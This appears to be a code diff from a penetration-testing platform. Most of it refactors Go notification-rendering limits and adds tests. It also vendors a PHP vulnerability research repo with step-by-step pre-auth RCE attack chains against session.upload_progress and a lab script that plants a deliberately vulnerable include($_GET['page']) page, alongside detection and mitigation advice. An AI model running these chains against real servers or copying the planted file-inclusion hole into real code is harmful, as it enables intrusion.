// (single-lining + escaping) — otherwise a single vulnerability title could turn
// into a clickable external link inside Feishu.
func feishuItemLines(it Item) string {
func feishuItemLines(it Item, lim Limits) string {
out := fmt.Sprintf("**%s · %s**", SeverityLabel(it.Severity), markdownText(it.Title(), 0))
if it.IsStatusChange() {
out += fmt.Sprintf("\n**Status change**: %s → %s",
@@ -198,11 +203,11 @@ func feishuItemLines(it Item) string {
if it.VulnClass != "" && it.VulnClass != it.Title() {
out += fmt.Sprintf("\n**Type**: %s", markdownText(it.VulnClass, 0))
}
if a := assetLine(it.Assets, maxAssetsShown); a != "" {
if a := assetLine(it.Assets, lim.AssetsShown); a != "" {
out += fmt.Sprintf("\n**Assets**: %s", markdownText(a, 0))
}
if it.Summary != "" {
if s := markdownText(it.Summary, maxSummaryRunes); s != "" {
if s := markdownText(it.Summary, lim.SummaryRunes); s != "" {
out += fmt.Sprintf("\n**Summary**: %s", s)
}
}
@@ -210,9 +215,9 @@ func feishuItemLines(it Item) string {
}
// feishuBatchLine renders one entry of a digest card.
func feishuBatchLine(it Item, index int) string {
func feishuBatchLine(it Item, index int, lim Limits) string {
line := fmt.Sprintf("**%d. %s · %s**", index, SeverityLabel(it.Severity), markdownText(it.Title(), 0))
if a := assetLine(it.Assets, maxAssetsShown); a != "" {
if a := assetLine(it.Assets, lim.AssetsShown); a != "" {
line += " — " + markdownText(a, 0)
}
return line
+6 -6
View File
@@ -39,10 +39,10 @@ func htmlBody(m Message, maxRunes int) string {
if m.Batch {
b.WriteString(htmlBatchIntro(m))
for _, it := range m.Items {
b.WriteString(htmlItem(it, false))
b.WriteString(htmlItem(it, false, m.limits()))
}
} else if len(m.Items) > 0 {
b.WriteString(htmlItem(m.Items[0], true))
b.WriteString(htmlItem(m.Items[0], true, m.limits()))
}
if m.HomeURL != "" {
fmt.Fprintf(&b, `<p style="margin:16px 0 0;"><a href="%s" style="color:#1677ff;">View all on the platform</a></p>`, htmlEscapeAttr(m.HomeURL))
@@ -79,7 +79,7 @@ func htmlBatchIntro(m Message) string {
// htmlItem renders a single vulnerability. full=true includes the summary and
// backlink (single push); false compresses it into one line (digest list).
func htmlItem(it Item, full bool) string {
func htmlItem(it Item, full bool, lim Limits) string {
color := htmlSeverityColor(it.Severity)
var b strings.Builder
if full {
@@ -92,7 +92,7 @@ func htmlItem(it Item, full bool) string {
if !full {
var extras []string
if a := assetLine(it.Assets, maxAssetsShown); a != "" {
if a := assetLine(it.Assets, lim.AssetsShown); a != "" {
extras = append(extras, htmlEscape(a))
}
if it.Summary != "" {
@@ -112,10 +112,10 @@ func htmlItem(it Item, full bool) string {
if it.VulnClass != "" && it.VulnClass != it.Title() {
fmt.Fprintf(&b, `<div><b>Type</b>: %s</div>`, htmlEscape(it.VulnClass))
}
if a := assetLine(it.Assets, maxAssetsShown); a != "" {
if a := assetLine(it.Assets, lim.AssetsShown); a != "" {
fmt.Fprintf(&b, `<div><b>Assets</b>: %s</div>`, htmlEscape(a))
}
if s := OneLine(it.Summary, maxSummaryRunes); s != "" {
if s := OneLine(it.Summary, lim.SummaryRunes); s != "" {
fmt.Fprintf(&b, `<div><b>Summary</b>: %s</div>`, htmlEscape(s))
}
if it.DetailURL != "" {
+183
View File
@@ -0,0 +1,183 @@
package notify
import (
"context"
"io"
"net/http"
"net/http/httptest"
"strings"
"testing"
"unicode/utf8"
)
// This file covers the configurable render limits (Message.Limits). The summary
// length and the number of assets listed used to be the fixed constants 120 / 3;
// they now come from the caller, with 0 meaning "no truncation" and nil meaning
// "the old defaults".
// limitsItem returns an item whose summary (200 characters) and asset list (8)
// both exceed the defaults. It contains no markdown/HTML metacharacters, so
// every renderer emits the text verbatim and one set of assertions fits all.
func limitsItem() Item {
assets := make([]string, 8)
for i := range assets {
assets[i] = "host" + itoa(i+1)
}
return Item{Severity: "high", Name: "title", Summary: strings.Repeat("Z", 200), Assets: assets}
}
// feishuContent returns the lark_md text of the card's element idx.
func feishuContent(t *testing.T, m Message, idx int) string {
t.Helper()
card, _ := feishuCard(m)
elements, _ := card["elements"].([]any)
if idx >= len(elements) {
t.Fatalf("card has %d elements, cannot get element %d", len(elements), idx)
}
div, _ := elements[idx].(map[string]any)
text, _ := div["text"].(map[string]any)
content, _ := text["content"].(string)
return content
}
// limitsRenderings returns the body of every channel family that applies the
// limits. For a digest, the Feishu entry is the first item line (element 0 is
// the intro).
func limitsRenderings(t *testing.T, m Message) map[string]string {
t.Helper()
md, _ := markdownBody(m, 0)
tg, _ := telegramHTML(m)
feishuIdx := 0
if m.Batch {
feishuIdx = 1
}
return map[string]string{
"markdown": md,
"feishu": feishuContent(t, m, feishuIdx),
"telegram": tg,
"email": htmlBody(m, 0),
}
}
func TestMessageLimitsApplyToSinglePush(t *testing.T) {
cases := []struct {
name string
lim *Limits
must []string
wrong []string
}{
{
name: "unset keeps the 120 / 3 defaults",
lim: nil,
must: []string{strings.Repeat("Z", 119) + ellipsis, "host1, host2, host3 and 5 more"},
wrong: []string{strings.Repeat("Z", 120), "host4"},
},
{
name: "zero means no truncation",
lim: &Limits{},
must: []string{strings.Repeat("Z", 200), "host7, host8"},
wrong: []string{ellipsis, " more"},
},
{
name: "custom values",
lim: &Limits{SummaryRunes: 10, AssetsShown: 1},
must: []string{strings.Repeat("Z", 9) + ellipsis, "host1 and 7 more"},
wrong: []string{strings.Repeat("Z", 10), "host2"},
},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
m := Message{Items: []Item{limitsItem()}, Limits: tc.lim}
for channel, got := range limitsRenderings(t, m) {
for _, want := range tc.must {
if !strings.Contains(got, want) {
t.Errorf("%s: missing %q:\n%s", channel, want, got)
}
}
for _, bad := range tc.wrong {
if strings.Contains(got, bad) {
t.Errorf("%s: %q should not appear:\n%s", channel, bad, got)
}
}
}
})
}
}
// TestMessageLimitsApplyToDigestAssets covers the digest lines, which list the
// assets too. The digest summary is not governed by Limits.SummaryRunes: it
// stays at its own fixed 60 characters (markdown and email), a digest being a
// list of one-liners.
func TestMessageLimitsApplyToDigestAssets(t *testing.T) {
m := Message{Batch: true, Items: []Item{limitsItem()}}
for channel, got := range limitsRenderings(t, m) {
if !strings.Contains(got, "host1, host2, host3 and 5 more") {
t.Errorf("%s: unset should keep 3 assets:\n%s", channel, got)
}
}
m.Limits = &Limits{}
for channel, got := range limitsRenderings(t, m) {
if !strings.Contains(got, "host7, host8") || strings.Contains(got, " more") {
t.Errorf("%s: 0 should list every asset:\n%s", channel, got)
}
if strings.Contains(got, strings.Repeat("Z", 60)) {
t.Errorf("%s: the digest summary should stay within 60 characters:\n%s", channel, got)
}
}
}
// TestFeishuUntruncatedItemStaysWithinBodyLimit is the guard that goes with
// "0 = no truncation". Feishu custom bots reject a request body over 20 KB as a
// whole, so an unbounded summary or asset list would not arrive shortened — it
// would not arrive at all. The body measured here is the real one sent on the
// wire, signature included.
func TestFeishuUntruncatedItemStaysWithinBodyLimit(t *testing.T) {
const feishuBodyLimit = 20000
huge := limitsItem()
huge.DetailURL = "https://artex.local/function/findings/detail?id=42"
// 36000 bytes of CJK: also checks that the cut lands on a character boundary.
huge.Summary = strings.Repeat("漏洞摘要", 3000)
huge.Assets = nil
for i := 0; i < 1500; i++ {
huge.Assets = append(huge.Assets, "host"+itoa(i+1)+".example.com")
}
cases := []struct {
name string
m Message
idx int
}{
{"single push", Message{Items: []Item{huge}, Limits: &Limits{}}, 0},
{"digest whose first item is oversized", Message{
Batch: true, WindowMinutes: 30, HomeURL: "https://artex.local/function/findings",
Items: []Item{huge, huge}, Limits: &Limits{},
}, 1},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
size := 0
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
raw, _ := io.ReadAll(r.Body)
size = len(raw)
_, _ = io.WriteString(w, `{"code":0,"msg":"success"}`)
}))
defer srv.Close()
kept, err := (feishuChannel{}).Send(context.Background(), map[string]any{"webhook": srv.URL, "secret": "SECtest123"}, tc.m)
if err != nil {
t.Fatalf("delivery failed: %v", err)
}
if kept != 1 {
t.Fatalf("exactly the first item should be reported as delivered, got %d", kept)
}
if size == 0 || size > feishuBodyLimit {
t.Fatalf("request body of %d bytes, want 1..%d", size, feishuBodyLimit)
}
content := feishuContent(t, tc.m, tc.idx)
if !utf8.ValidString(content) || !strings.HasSuffix(content, ellipsis) {
t.Fatalf("the item should be cut on a character boundary and end with an ellipsis, got tail %q", content[len(content)-12:])
}
})
}
}
+16 -16
View File
@@ -9,16 +9,16 @@ import (
// (DingTalk, WeCom). Feishu uses card JSON, Telegram uses HTML, and email uses
// HTML; each renders in its own adapter.
// maxAssetsShown is the maximum number of assets listed in a message. A
// vulnerability can be anchored to dozens of assets; listing them all would blow
// up the message with no informational value — nobody reads the 4th domain
// onwards in an IM.
const maxAssetsShown = 3
// DefaultMaxAssetsShown is the default maximum number of assets listed in a
// message (Limits.AssetsShown). A vulnerability can be anchored to dozens of
// assets; listing them all would blow up the message with no informational
// value — nobody reads the 4th domain onwards in an IM.
const DefaultMaxAssetsShown = 3
// maxSummaryRunes is how many characters the summary is compressed to. An IM
// message is a "go look at the details" hint, not the report itself; the full
// content lives on the platform.
const maxSummaryRunes = 120
// DefaultMaxSummaryRunes is the default number of characters the summary is
// compressed to (Limits.SummaryRunes). An IM message is a "go look at the
// details" hint, not the report itself; the full content lives on the platform.
const DefaultMaxSummaryRunes = 120
// markdownReservedBytes is reserved for the message header (digest line +
// severity distribution + possible truncation notice) and footer (platform
@@ -114,7 +114,7 @@ func markdownBody(m Message, maxBytes int) (string, int) {
return "", 0
}
var b strings.Builder
writeItem(&b, m.Items[0], "", true)
writeItem(&b, m.Items[0], "", true, m.limits())
// A single message is sent even if oversized (with final truncation as
// the backstop): partial information about one vulnerability is better
// than sending nothing at all.
@@ -127,7 +127,7 @@ func markdownBody(m Message, maxBytes int) (string, int) {
}
kept := packItemCount(m.Items, maxBytes, markdownReservedBytes, footer, byteSize, func(it Item, idx int) string {
var b strings.Builder
writeItem(&b, it, fmt.Sprintf("%d. ", idx+1), false)
writeItem(&b, it, fmt.Sprintf("%d. ", idx+1), false, m.limits())
return b.String()
})
@@ -135,7 +135,7 @@ func markdownBody(m Message, maxBytes int) (string, int) {
var b strings.Builder
b.WriteString(markdownBatchIntro(m, items, len(m.Items)))
for i, it := range items {
writeItem(&b, it, fmt.Sprintf("%d. ", i+1), false)
writeItem(&b, it, fmt.Sprintf("%d. ", i+1), false, m.limits())
}
b.WriteString(footer)
return TruncateBytes(b.String(), maxBytes), kept
@@ -191,13 +191,13 @@ func markdownBatchIntro(m Message, items []Item, total int) string {
// markdownText: single-lining + escaping. The backlink is built from the
// admin-configured public_base_url, is not untrusted content, and must be a
// clickable link, so it is emitted as-is.
func writeItem(b *strings.Builder, it Item, prefix string, single bool) {
func writeItem(b *strings.Builder, it Item, prefix string, single bool, lim Limits) {
line := fmt.Sprintf("%s**%s · %s**", prefix, SeverityLabel(it.Severity), markdownText(it.Title(), 0))
if !single {
// Digest mode: single-line presentation, with assets and summary
// compressed and appended.
var extras []string
if a := assetLine(it.Assets, maxAssetsShown); a != "" {
if a := assetLine(it.Assets, lim.AssetsShown); a != "" {
extras = append(extras, markdownText(a, 0))
}
if it.Summary != "" {
@@ -217,11 +217,11 @@ func writeItem(b *strings.Builder, it Item, prefix string, single bool) {
if it.VulnClass != "" && it.VulnClass != it.Title() {
fmt.Fprintf(b, "**Type**: %s\n", markdownText(it.VulnClass, 0))
}
if a := assetLine(it.Assets, maxAssetsShown); a != "" {
if a := assetLine(it.Assets, lim.AssetsShown); a != "" {
fmt.Fprintf(b, "**Assets**: %s\n", markdownText(a, 0))
}
if it.Summary != "" {
if s := markdownText(it.Summary, maxSummaryRunes); s != "" {
if s := markdownText(it.Summary, lim.SummaryRunes); s != "" {
fmt.Fprintf(b, "**Summary**: %s\n", s)
}
}
+1 -1
View File
@@ -178,7 +178,7 @@ func TestMarkdownEscapesUntrustedContent(t *testing.T) {
// writeItem in single mode is the rendering path shared by all three
// markdown channels.
var b strings.Builder
writeItem(&b, tc.item, "", true)
writeItem(&b, tc.item, "", true, m.limits())
got := b.String()
for _, want := range tc.must {
if !strings.Contains(got, want) {
+2 -2
View File
@@ -149,7 +149,7 @@ func byteSize(s string) int { return len(s) }
func runeSize(s string) int { return utf8.RuneCountInString(s) }
// assetLine renders an asset list into one line of display text; when there are
// more than limit assets, the rest are omitted and the total is noted. A
// more than limit assets, the rest are omitted and their count is noted. A
// vulnerability can be anchored to dozens of assets, and listing them all would
// blow up the message.
func assetLine(assets []string, limit int) string {
@@ -159,7 +159,7 @@ func assetLine(assets []string, limit int) string {
if limit <= 0 || len(assets) <= limit {
return strings.Join(assets, ", ")
}
return strings.Join(assets[:limit], ", ") + " and " + itoa(len(assets)) + " more"
return strings.Join(assets[:limit], ", ") + " and " + itoa(len(assets)-limit) + " more"
}
// itoa is a short alias for strconv.Itoa, used only for assembling display text,
+7 -5
View File
@@ -113,11 +113,13 @@ func TestAssetLineOmitsExcess(t *testing.T) {
if got := assetLine([]string{"a", "b"}, 3); got != "a, b" {
t.Fatalf("within the limit everything should be listed, got %q", got)
}
// Over the limit the total must be noted, otherwise readers cannot tell how
// many assets were left out.
got := assetLine([]string{"a", "b", "c", "d", "e"}, 2)
if !strings.Contains(got, "and 5 more") {
t.Fatalf("the total of 5 should be noted, got %q", got)
// Over the limit the number of omitted assets must be noted, otherwise
// readers cannot tell how many assets were left out.
if got := assetLine([]string{"a", "b", "c", "d", "e"}, 2); got != "a, b and 3 more" {
t.Fatalf("5 assets with limit 2 should note the 3 omitted, got %q", got)
}
if got := assetLine([]string{"a", "b", "c", "d", "e", "f", "g", "h"}, 3); got != "a, b, c and 5 more" {
t.Fatalf("8 assets with limit 3 should note the 5 omitted, got %q", got)
}
}
+7 -6
View File
@@ -115,6 +115,7 @@ func telegramEndpoint(cfg map[string]any) (string, error) {
// telegramHTML renders the HTML body and returns it together with the number of
// items actually written (see Channel.Send).
func telegramHTML(m Message) (string, int) {
lim := m.limits()
var b strings.Builder
b.WriteString("<b>" + telegramEscape(markdownTitle(m)) + "</b>\n")
if m.Batch {
@@ -125,13 +126,13 @@ func telegramHTML(m Message) (string, int) {
footer = fmt.Sprintf("\n\n<a href=\"%s\">View all on the platform</a>", telegramEscapeAttr(m.HomeURL))
}
kept := packItemCount(m.Items, telegramTextLimit, telegramReservedRunes, footer, runeSize, func(it Item, idx int) string {
return telegramBatchLine(it, idx+1)
return telegramBatchLine(it, idx+1, lim)
})
items := m.Items[:kept]
b.Reset()
b.WriteString("<b>" + telegramEscape(telegramBatchTitle(m, items, len(m.Items))) + "</b>")
for i, it := range items {
b.WriteString("\n" + telegramEscape(telegramBatchLine(it, i+1)))
b.WriteString("\n" + telegramEscape(telegramBatchLine(it, i+1, lim)))
}
b.WriteString(footer)
return TruncateHTML(b.String(), telegramTextLimit), kept
@@ -147,10 +148,10 @@ func telegramHTML(m Message) (string, int) {
if it.VulnClass != "" && it.VulnClass != it.Title() {
b.WriteString("\n<b>Type</b>: " + telegramEscape(it.VulnClass))
}
if a := assetLine(it.Assets, maxAssetsShown); a != "" {
if a := assetLine(it.Assets, lim.AssetsShown); a != "" {
b.WriteString("\n<b>Assets</b>: " + telegramEscape(a))
}
if s := OneLine(it.Summary, maxSummaryRunes); s != "" {
if s := OneLine(it.Summary, lim.SummaryRunes); s != "" {
b.WriteString("\n<b>Summary</b>: " + telegramEscape(s))
}
if it.DetailURL != "" {
@@ -165,8 +166,8 @@ const telegramReservedRunes = 160
// telegramBatchLine renders one entry of a digest (unescaped; the caller escapes
// it uniformly).
func telegramBatchLine(it Item, idx int) string {
if a := assetLine(it.Assets, maxAssetsShown); a != "" {
func telegramBatchLine(it Item, idx int, lim Limits) string {
if a := assetLine(it.Assets, lim.AssetsShown); a != "" {
return fmt.Sprintf("%d. %s · %s — %s", idx, SeverityLabel(it.Severity), it.Title(), a)
}
return fmt.Sprintf("%d. %s · %s", idx, SeverityLabel(it.Severity), it.Title())
+6 -2
View File
@@ -14,7 +14,7 @@
#
# Usage examples:
# ./reset-password.sh # local, auto-reads config.json/env, prompts for the new password
# ./reset-password.sh -p 'NewPass!' # local, new password given directly
# ./reset-password.sh -p 'New-Passphrase!' # local, new password given directly (at least 12 characters)
# ./reset-password.sh --dsn postgres://u:p@h:5432/artex
# ./reset-password.sh -H 127.0.0.1 -P 5433 -U autopentest -W pass -d artex
# ./reset-password.sh -m docker # docker deployment (reads POSTGRES_* from .env)
@@ -95,7 +95,7 @@ PY
}
apply_config_fields() {
local line key val
local key val
while IFS=$'\t' read -r key val; do
[[ -z "$key" ]] && continue
case "$key" in
@@ -130,6 +130,10 @@ if [[ -z "$NEWPASS" ]]; then
[[ "$NEWPASS" == "$NEWPASS2" ]] || die "the two entries do not match"
fi
[[ -n "$NEWPASS" ]] || die "password cannot be empty"
# Same minimum as the server (minPasswordRunes in server/auth.go), counted in
# characters like the server: UTF-8 bytes minus continuation bytes, whatever the locale.
NEWPASS_CHARS=$(printf '%s' "$NEWPASS" | LC_ALL=C tr -d '\200-\277' | wc -c)
(( NEWPASS_CHARS >= 12 )) || die "password must be at least 12 characters"
# Hand the password to psql via environment variable (read with \getenv, never in argv/ps)
export ARTEX_RESET_NEWPASS="$NEWPASS"
+3 -1
View File
@@ -31,7 +31,9 @@ while [ $# -gt 0 ]; do
*) echo "unknown option: $1" >&2; usage >&2; exit 2 ;;
esac
done
case "$KEEP" in (*[!0-9]*|'') echo "--keep must be a positive integer" >&2; exit 2 ;; esac
# 0* rejects 0, which would make prune delete the dump this run just wrote, and
# leading zeros, which $((KEEP + 1)) would read as octal.
case "$KEEP" in (*[!0-9]*|''|0*) echo "--keep must be a positive integer" >&2; exit 2 ;; esac
# Compose reads .env for credentials; source it for the dump command too.
if [ -f .env ]; then
+1 -1
View File
@@ -58,7 +58,7 @@ Standing rules, enforced by the runner:
cd scripts/benchmark
# against a locally deployed ARTEX, with an independent judge endpoint
ARTEX_TOKEN=<jwt or mint via ARTEX_JWT_KEY=/app/jwt.key copy> \
ARTEX_TOKEN=<jwt or mint via ARTEX_JWT_KEY=/app/keys/jwt.key copy> \
JUDGE_BASE_URL=https://api.example.com JUDGE_MODEL=<other-model> JUDGE_API_KEY=... \
python3 run_bench.py --corpus juice-shop --subject-model glm-5.3
```
+20
View File
@@ -0,0 +1,20 @@
MIT License (vendored from https://github.com/ikow/php2shell-poc — README states
"License: MIT"; no LICENSE file ships upstream. (c) ikow and contributors.)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+81
View File
@@ -0,0 +1,81 @@
# php2shell — CVE-2026-109618 / CVE-2026-109619 Research
Independent security research on the critical PHP session.upload_progress vulnerabilities (CVSS v4.0 9.2).
**Author:** Qi Deng ([@ikow](https://github.com/ikow))
**Date:** 2026-10-21
**Full writeup:** [qideng.substack.com](https://qideng.substack.com/)
## Overview
Two critical pre-auth RCE vulnerabilities in PHP core's `session.upload_progress` handler, affecting PHP 5.4.0 through 8.5.x. This repository contains verification POCs and lab setup for authorized security testing.
### Verified Attack Chains
| Chain | Type | Conditions | Verified |
|-------|------|-----------|----------|
| Session File Injection + LFI | Logic bug | `upload_progress=On` (default) + app LFI | ✅ RCE |
| var_destroy UAF → Handler Overwrite | Memory corruption | `unserialize()` + `/proc/self/mem` | ✅ ASAN + RCE |
| Handler Mismatch → `__destruct` | Deserialization | Cross-dir handler mismatch + POP gadget | ✅ RCE |
### Key Findings
1. **Session fixation** via POST body bypasses `session.use_only_cookies` ([PR #22113](https://github.com/php/php-src/pull/22113))
2. **Unvalidated filename** in upload_progress stored raw in session files
3. **`var_destroy` `__destruct` reentry UAF** — ASAN-confirmed heap-use-after-free
4. **`PS(serializer)` not reset in RSHUTDOWN** — cross-request serializer leak in FPM
5. **`__destruct` fires on decode FAILURE** — object injection via handler mismatch + trailing data
## Repository Structure
```
poc/
verify_session_injection.py — Verify filename injection into session files
verify_uaf_asan.php — Trigger ASAN heap-use-after-free (var_destroy)
verify_handler_mismatch.py — Verify handler mismatch → object deserialization
lab/
docker-compose.yml — PHP 8.2.34 FPM + nginx lab environment
Dockerfile — Vulnerable PHP build
php.ini — Lab configuration
setup.sh — One-click lab setup
docs/
ANALYSIS.md — Full technical analysis
```
## Quick Start
```bash
# Start the lab
cd lab && ./setup.sh
# Verify session injection
python3 poc/verify_session_injection.py --target http://127.0.0.1:18080
# Verify UAF (requires ASAN build)
docker exec php-asan-lab php poc/verify_uaf_asan.php
# Verify handler mismatch
python3 poc/verify_handler_mismatch.py --target http://127.0.0.1:18080
```
## Affected Versions
- PHP 5.4.0 — 8.5.11 (all versions with `session.upload_progress`)
- Fixed in: 8.2.35, 8.3.36, 8.4.27, 8.5.12 (scheduled 2026-10-21)
- PHP 5.x, 7.x, 8.0, 8.1: **end-of-life, no official fix**
## Mitigation
```ini
; Immediate mitigation (does NOT fix all attack paths)
session.upload_progress.enabled = Off
session.use_only_cookies = On
```
## Disclaimer
This research is for authorized security testing and educational purposes only. Do not use against systems you do not own or have explicit authorization to test.
## License
MIT
+197
View File
@@ -0,0 +1,197 @@
# php2shell — Full Technical Analysis
## CVE-2026-109618 / CVE-2026-109619
**Author:** Qi Deng **Date:** 2026-10-21
---
## 1. Vulnerability Summary
Two critical vulnerabilities in PHP's `session.upload_progress` handler enable pre-authentication remote code execution on PHP 5.4.0 through 8.5.x.
| Bug | Root Cause | Impact |
|-----|-----------|--------|
| Session Fixation | `MULTIPART_EVENT_FORMDATA` accepts PHPSESSID from POST body ignoring `use_only_cookies` | Attacker controls session ID and file path |
| Filename Injection | `add_assoc_string_ex(*data->filename)` stores raw filename in session without validation | PHP code / serialized objects injected into session files |
| Serializer Leak | `PS(serializer)` not reset in `php_rshutdown_session_globals()` | Cross-request handler mismatch in FPM |
| var_destroy UAF | `i_zval_ptr_dtor` at line 310 fires `__destruct` without `BG(serialize_lock)` | Heap-use-after-free → arbitrary code execution |
## 2. Attack Chains
### Chain A: Session Injection + LFI → RCE
```
Conditions: upload_progress.enabled=On (default) + application has LFI
Complexity: Low | Reliability: 100%
1. POST multipart with PHP code in filename
2. rfc1867 handler stores filename as-is in session file
3. include(session_file) → execute injected PHP → RCE
```
**Verified:** `exploit_session_inject.py` → `uid=33(www-data)` on PHP 8.2.34.
### Chain B: var_destroy UAF → RCE
```
Conditions: ability to call unserialize() with controlled data
Complexity: Medium | Reliability: ~60% (heap-dependent)
1. unserialize() payload with 2000+ entries → overflow VAR_ENTRIES_MAX (1018)
2. Duplicate key moves object to dtor list
3. var_destroy Phase 1: efree extension chunks
4. Phase 2: i_zval_ptr_dtor → __destruct (BG(serialize_lock)==0)
5. Inner unserialize('R:1500;') reuses outer var_hash → reads freed memory
6. Spray reclaims freed chunk → controlled pointer → handler overwrite → RCE
```
**Verified:** ASAN heap-use-after-free at `var_unserializer.c:851`. RCE via `var_dump` handler overwrite on x86-64.
### Chain C: Handler Mismatch → `__destruct` → RCE
```
Conditions: target has directories with different session.serialize_handler
Complexity: Medium | Reliability: High
1. Upload to Dir A (php_serialize) — filename contains |O:CLASS:N:{PAYLOAD}
2. Upload to Dir B (php handler) with same SID
3. rfc1867 reads php_serialize session with php decoder
4. php decoder finds | in filename → splits → deserializes injected object
5. Trailing data → decode FAILURE
6. __destruct fires during PHP_VAR_UNSERIALIZE_DESTROY cleanup
7. POP gadget chain → RCE
```
**Key insight:** `__destruct` fires on BOTH success and failure paths of `var_destroy`. The decode FAILURE does NOT prevent exploitation.
**Verified:** `Evil::__destruct(cmd="id")` → `uid=33(www-data)` via pure rfc1867 handler.
## 3. Root Cause Analysis
### 3.1 Session Fixation (ext/session/session.c)
```c
// MULTIPART_EVENT_FORMDATA handler — no use_only_cookies check
if (name_len == progress->sname_len &&
memcmp(data->name, PS(session_name), name_len) == 0) {
zval_ptr_dtor(&progress->sid);
ZVAL_STRINGL(&progress->sid, (*data->value), value_len);
// ← Accepts PHPSESSID from POST body regardless of use_only_cookies!
}
```
Fix: [PR #22113](https://github.com/php/php-src/pull/22113) adds `!PS(use_only_cookies) &&` check.
### 3.2 Unvalidated Filename
```c
// FILE_START handler stores raw filename
add_assoc_string_ex(&progress->current_file, "name",
sizeof("name") - 1, *data->filename);
// ← No sanitization, no encoding, no length limit
```
Filename can contain arbitrary bytes including PHP code and pipe `|` characters.
### 3.3 var_destroy Reentry UAF (ext/standard/var_unserializer.re)
```c
void var_destroy(php_unserialize_data_t *var_hashx) {
// Phase 1: FREE extension chunks
while (var_hash) {
efree_size(var_hash, sizeof(var_entries)); // ← line 245
var_hash = next;
}
// Phase 2: walk dtor chain
while (var_dtor_hash) {
// ...
i_zval_ptr_dtor(zv); // ← line 310, NO serialize_lock!
// __destruct fires → inner unserialize() → R:N reads freed chunk
}
}
```
### 3.4 Serializer Leak (ext/session/session.c)
```c
static void php_rshutdown_session_globals(void) {
// Resets: PS(id), PS(session_vars), PS(http_session_vars), PS(mod_data)
// Does NOT reset: PS(serializer) ← persists across FPM requests!
}
```
### 3.5 `__destruct` on Decode Failure
```c
PS_SERIALIZER_DECODE_FUNC(php) {
while (p < endptr) {
// ... find |, deserialize value ...
if (php_var_unserialize(...)) {
php_set_session_var(name, &rv, &var_hash); // object stored
} else {
retval = FAILURE; goto break_outer_loop;
}
}
break_outer_loop:
PHP_VAR_UNSERIALIZE_DESTROY(var_hash); // ← __destruct fires HERE
return retval; // FAILURE
}
```
Even though the decoder returns FAILURE and `session_start()` calls `php_session_cancel_decode()` to destroy `$_SESSION`, the object's `__destruct` has ALREADY fired during `var_hash` cleanup.
## 4. Version Matrix
| Version | upload_progress | Vulnerable | Official Fix |
|---------|----------------|------------|-------------|
| < 5.4 | No | No | N/A |
| 5.4 - 5.6 | Yes | Yes | EOL, no fix |
| 7.0 - 7.4 | Yes | Yes | EOL, no fix |
| 8.0 - 8.1 | Yes | Yes | EOL, no fix |
| 8.2.x | Yes | Yes | → 8.2.35 |
| 8.3.x | Yes | Yes | → 8.3.36 |
| 8.4.x | Yes | Yes | → 8.4.27 |
| 8.5.x | Yes | Yes | → 8.5.12 |
Vulnerable code identical across ALL versions from PHP 5.4.0 (2012) to present.
## 5. Detection
```bash
# Check PHP version
php -r 'echo PHP_VERSION, PHP_EOL;'
# Check upload_progress setting
php -r 'echo ini_get("session.upload_progress.enabled"), PHP_EOL;'
# Check for handler mismatch across directories
find /var/www -name ".user.ini" -exec grep -l "serialize_handler" {} \;
# Monitor for exploitation attempts
grep -r "PHP_SESSION_UPLOAD_PROGRESS" /var/log/nginx/access.log
```
## 6. Mitigation
```ini
; Primary mitigation
session.upload_progress.enabled = Off
; Additional hardening
session.use_only_cookies = On
session.use_strict_mode = On
; Ensure consistent handler across directories
session.serialize_handler = php_serialize
```
**Warning:** Disabling `upload_progress` does NOT fix the var_destroy UAF or the serializer leak. Apply the official PHP patch.
## 7. References
- [PHP Security Advisory](https://www.php.net/archive/2026.php) (pending)
- [PR #22113 — Session fixation fix](https://github.com/php/php-src/pull/22113)
- [Calif.IO — Serializable UAF](https://calif.io/research/php-uaf)
- [dinosn — var_destroy UAF](https://github.com/dinosn/php-8.5.5-var_destroy-uaf)
- [PHP Bug #71101 — Handler mismatch](https://bugs.php.net/bug.php?id=71101)
- [cnpanda — Handler mismatch exploitation](https://www.cnpanda.net/en/sec/580.html)
+116
View File
@@ -0,0 +1,116 @@
#!/bin/bash
set -e
echo "Setting up PHP 8.2.34 vulnerable lab environment..."
cd "$(dirname "$0")"
# Create webroot
mkdir -p webroot/app webroot/api webroot/reader
cat > webroot/index.php << 'EOF'
<?php
session_start();
echo "PHP " . PHP_VERSION . "\n";
echo "SAPI " . php_sapi_name() . "\n";
echo "upload_progress " . ini_get('session.upload_progress.enabled') . "\n";
echo "OK\n";
EOF
cat > webroot/nosession.php << 'EOF'
<?php
echo "PHP " . PHP_VERSION . "\nno session_start\n";
EOF
# Directory with php_serialize handler
echo "session.serialize_handler = php_serialize" > webroot/app/.user.ini
cp webroot/nosession.php webroot/app/upload.php
# Directory with php handler
echo "session.serialize_handler = php" > webroot/api/.user.ini
cp webroot/nosession.php webroot/api/endpoint.php
# LFI simulation (for Chain 1 verification)
cat > webroot/vuln.php << 'EOF'
<?php
$page = $_GET['page'] ?? 'home';
include($page);
EOF
# PHP configuration
cat > php.ini << 'EOF'
[Session]
session.save_handler = files
session.save_path = /tmp/sessions
session.use_strict_mode = 0
session.use_cookies = 1
session.use_only_cookies = 0
session.upload_progress.enabled = On
session.upload_progress.cleanup = Off
session.upload_progress.prefix = upload_progress_
session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.freq = 1%
session.upload_progress.min_freq = 0
[PHP]
display_errors = On
error_reporting = E_ALL
file_uploads = On
post_max_size = 128M
